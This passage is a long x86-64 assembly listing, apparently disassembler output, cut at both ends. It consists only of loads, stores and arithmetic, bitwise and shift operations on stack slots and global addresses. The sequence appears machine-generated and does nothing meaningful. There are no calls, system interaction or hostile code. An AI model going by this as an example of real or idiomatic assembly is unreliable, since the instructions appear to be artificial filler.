mov rax, qword [rsp + 0x8ff0]
mov rcx, qword [rsp + 0x94a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbc30], rax
movzx eax, word [0x1401e7048]
mov word [0x1401e8e60], ax
lea rax, [rsp + 0x8d]
mov qword [rsp + 0xc168], rax
movsx eax, word [rsp + 0x12d8]
movsx ecx, word [rsp + 0x1094]
and eax, ecx
mov rcx, qword [rsp + 0x9898]
mov word [rcx], ax
movsx eax, byte [rsp + 0x172]
mov rcx, qword [0x1401e8a70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa360]
mov byte [rcx], al
lea rax, [rsp + 0x116c]
mov qword [rsp + 0xc170], rax
mov eax, dword [rsp + 0x50e0]
mov ecx, dword [rsp + 0x525c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9678]
mov dword [rcx], eax
lea rax, [rsp + 0x53a4]
mov qword [rsp + 0xc178], rax
mov rax, qword [rsp + 0x95e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0x93b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbee0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x91f0]
mov qword [rcx], rax
mov rax, qword [0x1401e8848]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10c]
sar eax, cl
mov byte [0x1401e7046], al
lea rax, [rsp + 0x1170]
mov qword [rsp + 0xc180], rax
movzx eax, byte [rsp + 0x1d8]
mov rcx, qword [rsp + 0xa4c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x204], al
lea rax, [0x1401e7020]
mov qword [rsp + 0xc188], rax
mov rax, qword [rsp + 0xab58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1ec]
or eax, ecx
mov byte [rsp + 0xc5], al
mov eax, dword [rsp + 0x5230]
mov dword [rsp + 0x5410], eax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0xabf0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5348]
mov ecx, dword [rsp + 0x4e34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x52b4], eax
mov rax, qword [rsp + 0xb500]
mov rax, qword [rax]
mov qword [rsp + 0xc190], rax
lea rax, [0x1401e87e0]
mov qword [0x1401e8e68], rax
movsx eax, byte [rsp + 0x16c]
mov rcx, qword [rsp + 0xa650]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb038]
mov byte [rcx], al
lea rax, [rsp + 0x1db]
mov qword [rsp + 0xc198], rax
mov rax, qword [rsp + 0x8fa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1310]
sub eax, ecx
mov word [rsp + 0x10ec], ax
mov rax, qword [rsp + 0xaae0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa128]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9718]
mov word [rcx], ax
mov eax, dword [rsp + 0x5380]
mov dword [rsp + 0x5414], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9e18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb378], rax
lea rax, [rsp + 0xb950]
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xbcc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5190]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x176]
and eax, ecx
mov rcx, qword [0x1401e8da0]
mov byte [rcx], al
movzx eax, word [rsp + 0x15a4]
movzx ecx, word [rsp + 0x14e4]
sub eax, ecx
mov word [rsp + 0x130c], ax
lea rax, [rsp + 0xc3]
mov qword [rsp + 0xc1a8], rax
movzx eax, byte [rsp + 0x1d5]
movzx ecx, byte [rsp + 0x7d]
or eax, ecx
mov byte [rsp + 0x16e], al
lea rax, [rsp + 0x1350]
mov qword [rsp + 0xc1b0], rax
mov rax, qword [rsp + 0xaf78]
mov rcx, qword [rsp + 0xbef0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b98], rax
lea rax, [rsp + 0x5184]
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xa3d8]
mov rcx, qword [rsp + 0xa500]
mov qword [rsp + 0xc1c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbcc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ec4]
movzx ecx, al
mov eax, dword [rsp + 0x4ee8]
sar eax, cl
mov dword [rsp + 0x50b4], eax
movzx eax, word [rsp + 0x1300]
movzx ecx, word [rsp + 0x145c]
add eax, ecx
mov word [0x1401e7100], ax
lea rax, [rsp + 0x137]
mov qword [rsp + 0xc1c8], rax
mov rax, qword [rsp + 0xa4b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12ec]
and eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov word [rcx], ax
mov rax, qword [0x1401e8e10]
movzx eax, byte [rax]
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10f]
add eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0xb6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba00], rax
lea rax, [rsp + 0x5080]
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xbf40]
mov ecx, dword [rsp + 0x4e2c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f8c], eax
mov rax, qword [rsp + 0xb2d8]
mov qword [rsp + 0xc1d8], rax
mov rax, qword [0x1401e8a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x97c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70ba], al
movzx eax, word [rsp + 0x123c]
movzx ecx, word [rsp + 0x10d4]
sub eax, ecx
mov rcx, qword [rsp + 0xaec8]
mov word [rcx], ax
mov rax, qword [rsp + 0xac68]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e87e6]
sub eax, ecx
mov byte [rsp + 0x15e], al
lea rax, [rsp + 0x1020]
mov qword [rsp + 0xc1e0], rax
movsx eax, word [rsp + 0x15fc]
movsx ecx, word [rsp + 0x1134]
sub eax, ecx
mov rcx, qword [rsp + 0xa9a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xba80]
mov eax, dword [rax]
mov dword [rsp + 0x5418], eax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0xad70]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9cf0]
mov qword [rsp + 0xc1e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5398], eax
lea rax, [0x1401e7010]
mov qword [rsp + 0xc1f0], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1460]
xor eax, ecx
mov rcx, qword [rsp + 0xb9c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x13c0]
movzx ecx, word [rsp + 0x1000]
sar eax, cl
mov rcx, qword [0x1401e8e28]
mov word [rcx], ax
movzx eax, byte [0x1401e88c3]
mov byte [rsp + 0x206], al
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0xaca0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xbc], al
lea rax, [rsp + 0x1488]
mov qword [rsp + 0xc1f8], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x51a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x52a4], eax
mov eax, dword [rsp + 0x51c8]
mov ecx, dword [rsp + 0x4fc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x53b0], eax
mov rax, qword [rsp + 0xabc8]
mov qword [rsp + 0xc200], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa60], rax
lea rax, [rsp + 0x14c0]
mov qword [rsp + 0xc208], rax
movsx eax, byte [rsp + 0x1bb]
movsx ecx, byte [rsp + 0x12f]
sub eax, ecx
mov byte [0x1401e70bb], al
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e700f]
add eax, ecx
mov rcx, qword [rsp + 0xafc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [rsp + 0xd0], al
lea rax, [rsp + 0x1608]
mov qword [rsp + 0xc210], rax
mov eax, dword [rsp + 0x52f0]
mov ecx, dword [0x1401e7008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5190], eax
mov rax, qword [rsp + 0xc190]
mov qword [rsp + 0xc218], rax
mov rax, qword [rsp + 0x9d00]
mov rcx, qword [rsp + 0xb2d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x52b0], eax
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaff0], rax
movzx eax, word [rsp + 0x1198]
mov word [rsp + 0x1618], ax
movsx eax, byte [rsp + 0x10f]
movsx ecx, byte [rsp + 0x18e]
sub eax, ecx
mov byte [0x1401e7057], al
movsx eax, word [rsp + 0x139c]
movsx ecx, word [rsp + 0x1394]
add eax, ecx
mov word [rsp + 0x1468], ax
lea rax, [rsp + 0xda]
mov qword [rsp + 0xc220], rax
movzx eax, byte [rsp + 0x1f6]
mov rcx, qword [rsp + 0xa518]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11f], al
lea rax, [rsp + 0x4f38]
mov qword [rsp + 0xc228], rax
mov rax, qword [rsp + 0xace0]
movzx ecx, al
mov rax, qword [rsp + 0xa8e0]
shl rax, cl
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0xbd30]
mov rcx, qword [rsp + 0x9e68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa450], rax
lea rax, [rsp + 0x50c4]
mov qword [rsp + 0xc230], rax
movsx eax, word [rsp + 0x12d8]
mov rcx, qword [rsp + 0xbbf8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
lea rax, [rsp + 0x12f0]
mov qword [0x1401e8e70], rax
lea rax, [rsp + 0x153]
mov qword [rsp + 0xc238], rax
movzx eax, byte [rsp + 0x184]
movzx ecx, byte [rsp + 0x206]
and eax, ecx
mov rcx, qword [rsp + 0xb980]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb7c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1db]
mov byte [rsp + 0x207], al
mov rax, qword [rsp + 0xbcc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa680]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa4d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x505c]
mov dword [rsp + 0x541c], eax
mov rax, qword [rsp + 0xb138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x532c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0xb9c8]
mov rcx, qword [rsp + 0xb7b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9200], rax
lea rax, [rsp + 0x130c]
mov qword [0x1401e8e78], rax
lea rax, [rsp + 0x143c]
mov qword [rsp + 0xc240], rax
mov rax, qword [rsp + 0x9e58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbe0]
movzx eax, byte [rax]
mov byte [rsp + 0x208], al
movsx eax, word [rsp + 0x14a0]
movsx ecx, word [0x1401e8cb0]
sub eax, ecx
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0xb728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9098], rax
mov rax, qword [rsp + 0xb2b8]
mov eax, dword [rax]
mov dword [rsp + 0x5420], eax
mov rax, qword [rsp + 0x9308]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa3e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
mov dword [rsp + 0x5424], eax
mov rax, qword [rsp + 0xb2f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbfb8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401e8bd8]
mov byte [rcx], al
mov rax, qword [rsp + 0xab30]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e87a5]
sar eax, cl
mov rcx, qword [rsp + 0xad88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f7]
mov byte [rsp + 0x209], al
mov rax, qword [rsp + 0xaeb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb250]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1500], ax
mov rax, qword [0x1401e8a48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8eb0]
mov word [rcx], ax
lea rax, [rsp + 0xae60]
mov qword [rsp + 0xc248], rax
mov rax, qword [rsp + 0xc1a0]
mov rcx, qword [rsp + 0xc000]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x99f0], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xc250], rax
mov rax, qword [rsp + 0xa138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5108]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e2c], eax
movsx eax, byte [rsp + 0xcb]
movsx ecx, byte [rsp + 0x140]
add eax, ecx
mov byte [0x1401e70be], al
mov rax, qword [0x1401e88e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12ec]
sub eax, ecx
mov rcx, qword [rsp + 0x95a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x20a], al
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1010], ax
lea rax, [rsp + 0x1398]
mov qword [rsp + 0xc258], rax
mov rax, qword [rsp + 0xb6e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbf10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb7f8], rax
mov rax, qword [rsp + 0xba40]
mov eax, dword [rax]
imul eax, dword [0x1401e7008]
mov rcx, qword [rsp + 0xb648]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc190]
mov qword [rsp + 0xc260], rax
mov rax, qword [rsp + 0xb270]
mov ecx, dword [rsp + 0x52f8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc148]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ff8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15b0]
sub eax, ecx
mov word [0x1401e8790], ax
lea rax, [rsp + 0x1fe]
mov qword [rsp + 0xc268], rax
movzx eax, byte [rsp + 0x175]
movzx ecx, byte [rsp + 0x1d5]
add eax, ecx
mov byte [rsp + 0x1f0], al
movzx eax, word [rsp + 0x1254]
movzx ecx, word [rsp + 0x1508]
add eax, ecx
mov word [rsp + 0x11d4], ax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0xc270], rax
mov rax, qword [rsp + 0xb258]
mov rcx, qword [rsp + 0x9610]
mov qword [rsp + 0xc278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc278]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0xb3a8]
mov eax, dword [rax]
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [0x1401e7028]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac90]
mov qword [rcx], rax
lea rax, [rsp + 0x5048]
mov qword [rsp + 0xc280], rax
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov word [0x1401e8e80], ax
mov rax, qword [rsp + 0xa678]
movzx eax, word [rax]
movzx ecx, word [0x1401e7054]
sar eax, cl
mov word [rsp + 0x10a4], ax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0xa698]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9930]
mov byte [rcx], al
movzx eax, word [rsp + 0x1244]
mov word [rsp + 0x161c], ax
movsx eax, byte [rsp + 0x1bf]
mov rcx, qword [rsp + 0x9148]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa888]
mov byte [rcx], al
lea rax, [rsp + 0x53f0]
mov qword [rsp + 0xc288], rax
mov rax, qword [rsp + 0xaa90]
mov rcx, qword [rsp + 0xb368]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xafe8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0f8]
mov rax, qword [rax]
mov rcx, qword [0x1401e7028]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbec0], rax
lea rax, [rsp + 0xba68]
mov qword [rsp + 0xc290], rax
mov rax, qword [rsp + 0xbe28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9660]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e88c2], al
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0xd2]
add eax, ecx
mov rcx, qword [rsp + 0xaca0]
mov byte [rcx], al
lea rax, [rsp + 0x1280]
mov qword [rsp + 0xc298], rax
mov rax, qword [rsp + 0xac58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0xa5], al
movsx eax, word [0x1401e8b08]
mov rcx, qword [rsp + 0xc208]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15c8], ax
lea rax, [rsp + 0xbd98]
mov qword [rsp + 0xc2a0], rax
mov rax, qword [rsp + 0xaf80]
mov ecx, dword [rsp + 0x520c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x529c], eax
lea rax, [rsp + 0xb1b8]
mov qword [rsp + 0xc2a8], rax
mov rax, qword [rsp + 0x93c0]
mov ecx, dword [rsp + 0x521c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ae0]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70bf], al
mov rax, qword [rsp + 0x9d20]
movzx eax, word [rax]
mov word [rsp + 0x1620], ax
movsx eax, word [rsp + 0x148c]
movsx ecx, word [rsp + 0x118c]
xor eax, ecx
mov word [rsp + 0x1464], ax
movsx eax, byte [rsp + 0x198]
movsx ecx, byte [0x1401e87e4]
or eax, ecx
mov byte [rsp + 0x1c0], al
lea rax, [rsp + 0x1268]
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xba80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x541c]
shr eax, cl
mov rcx, qword [rsp + 0x8ac8]
mov dword [rcx], eax
lea rax, [rsp + 0xae10]
mov qword [rsp + 0xc2b8], rax
mov rax, qword [rsp + 0xb470]
mov rcx, qword [rsp + 0xaba0]
mov qword [rsp + 0xc2c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2c0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb8f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa330]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x4f0c]
mov rcx, qword [rsp + 0x9f48]
mov dword [rcx], eax
lea rax, [0x1401e87a6]
mov qword [rsp + 0xc2c8], rax
mov rax, qword [rsp + 0xb1a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1040]
and eax, ecx
mov word [0x1401e7144], ax
movzx eax, byte [rsp + 0x1dc]
movzx ecx, byte [rsp + 0x177]
add eax, ecx
mov byte [rsp + 0xde], al
lea rax, [rsp + 0x15d8]
mov qword [rsp + 0xc2d0], rax
movsx eax, word [rsp + 0x1580]
movsx ecx, word [rsp + 0x1108]
sub eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb2e8]
mov rcx, qword [rsp + 0xb1b8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x92e8], rax
mov rax, qword [rsp + 0x9840]
mov eax, dword [rax]
mov dword [rsp + 0x542c], eax
mov rax, qword [rsp + 0x9de8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5320]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x536c], eax
mov rax, qword [rsp + 0xbb60]
mov rax, qword [rax]
mov qword [rsp + 0xc2d8], rax
mov rax, qword [rsp + 0xb858]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8c40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9060]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fe0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8a10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x167]
movsx ecx, byte [rsp + 0x1f1]
and eax, ecx
mov byte [rsp + 0x86], al
lea rax, [rsp + 0x180]
mov qword [rsp + 0xc2e0], rax
mov rax, qword [rsp + 0x9148]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa0c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18b], al
lea rax, [rsp + 0xb040]
mov qword [rsp + 0xc2e8], rax
mov eax, dword [rsp + 0x5428]
mov rcx, qword [rsp + 0xab90]
mov qword [rsp + 0xc2f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5374], eax
lea rax, [rsp + 0x4fe4]
mov qword [rsp + 0xc2f8], rax
mov rax, qword [rsp + 0x9960]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb1c0]
sar rax, cl
mov rcx, qword [rsp + 0x9228]
mov qword [rcx], rax
movsx eax, word [0x1401e70d8]
mov rcx, qword [rsp + 0x9aa0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x10bc], ax
lea rax, [rsp + 0x1508]
mov qword [0x1401e8e88], rax
movzx eax, byte [rsp + 0x105]
mov byte [rsp + 0x20b], al
mov rax, qword [rsp + 0xbf98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x125c]
or eax, ecx
mov word [rsp + 0x13b8], ax
mov rax, qword [rsp + 0xc2c8]
movzx eax, byte [rax]
mov byte [rsp + 0x20c], al
mov rax, qword [rsp + 0xad80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ef8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb420], rax
mov rax, qword [rsp + 0xb798]
mov ecx, dword [rsp + 0x52c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4eac], eax
mov rax, qword [rsp + 0xb0d8]
mov eax, dword [rax]
mov dword [rsp + 0x5430], eax
mov rax, qword [rsp + 0x95d0]
mov rcx, qword [rsp + 0x98b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa528]
mov qword [rcx], rax
lea rax, [0x1401e87a3]
mov qword [rsp + 0xc300], rax
mov rax, qword [rsp + 0xb0d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x107c]
sub eax, ecx
mov word [0x1401e712c], ax
mov rax, qword [rsp + 0x9260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a28]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x115c], ax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x97a0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a8], al
mov rax, qword [rsp + 0xb6a0]
movzx eax, word [rax]
mov word [rsp + 0x1624], ax
movzx eax, byte [rsp + 0xe3]
movzx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov byte [rsp + 0xdc], al
mov rax, qword [rsp + 0xa308]
mov qword [rsp + 0xc308], rax
mov rax, qword [rsp + 0xae00]
mov rcx, qword [rsp + 0xc000]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa680], rax
mov rax, qword [rsp + 0x9dd8]
mov eax, dword [rax]
mov dword [rsp + 0x5434], eax
mov rax, qword [rsp + 0xb450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x530c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e54], eax
lea rax, [rsp + 0x10a4]
mov qword [0x1401e8e90], rax
movsx eax, word [rsp + 0x1078]
movsx ecx, word [rsp + 0x10d0]
and eax, ecx
mov word [rsp + 0x1504], ax
movzx eax, byte [rsp + 0x8f]
mov byte [rsp + 0x20d], al
mov rax, qword [rsp + 0x9a48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x117c]
xor eax, ecx
mov word [rsp + 0x12ec], ax
movzx eax, word [rsp + 0x1060]
mov word [rsp + 0x1628], ax
mov eax, dword [0x1401e7008]
movzx ecx, al
mov eax, dword [rsp + 0x538c]
sar eax, cl
mov rcx, qword [rsp + 0xb6b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0xbd90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x92a8], rax
lea rax, [rsp + 0xc2d8]
mov qword [rsp + 0xc310], rax
mov eax, dword [section..data]
movzx ecx, al
mov eax, dword [rsp + 0x5290]
shl eax, cl
mov dword [rsp + 0x511c], eax
movzx eax, byte [rsp + 0x84]
movzx ecx, byte [rsp + 0xa8]
add eax, ecx
mov byte [0x1401e7023], al
mov rax, qword [rsp + 0xc0c8]
movzx eax, word [rax]
mov word [rsp + 0x162c], ax
mov rax, qword [rsp + 0xa568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa218]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1af], al
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0xa168]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbeb8]
mov byte [rcx], al
lea rax, [rsp + 0x10d0]
mov qword [rsp + 0xc318], rax
mov rax, qword [rsp + 0xb6d8]
mov rcx, qword [rsp + 0xb4a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xabc8], rax
lea rax, [rsp + 0x4f9c]
mov qword [rsp + 0xc320], rax
mov rax, qword [rsp + 0xbdb8]
mov rcx, qword [rsp + 0x9970]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa9d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6f0], rax
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc210]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7178], ax
lea rax, [rsp + 0x12b8]
mov qword [rsp + 0xc328], rax
mov rax, qword [0x1401e8c40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x84]
sub eax, ecx
mov byte [rsp + 0xca], al
movzx eax, byte [rsp + 0x148]
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0xa078]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb7e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x187], al
lea rax, [0x1401e7004]
mov qword [rsp + 0xc330], rax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5404]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xb210]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb2e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb1c8]
mov rax, qword [rax]
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xc138]
movzx eax, byte [rax]
mov byte [0x1401e88c4], al
movzx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0xc270]
movzx ecx, byte [rcx]
xor eax, ecx
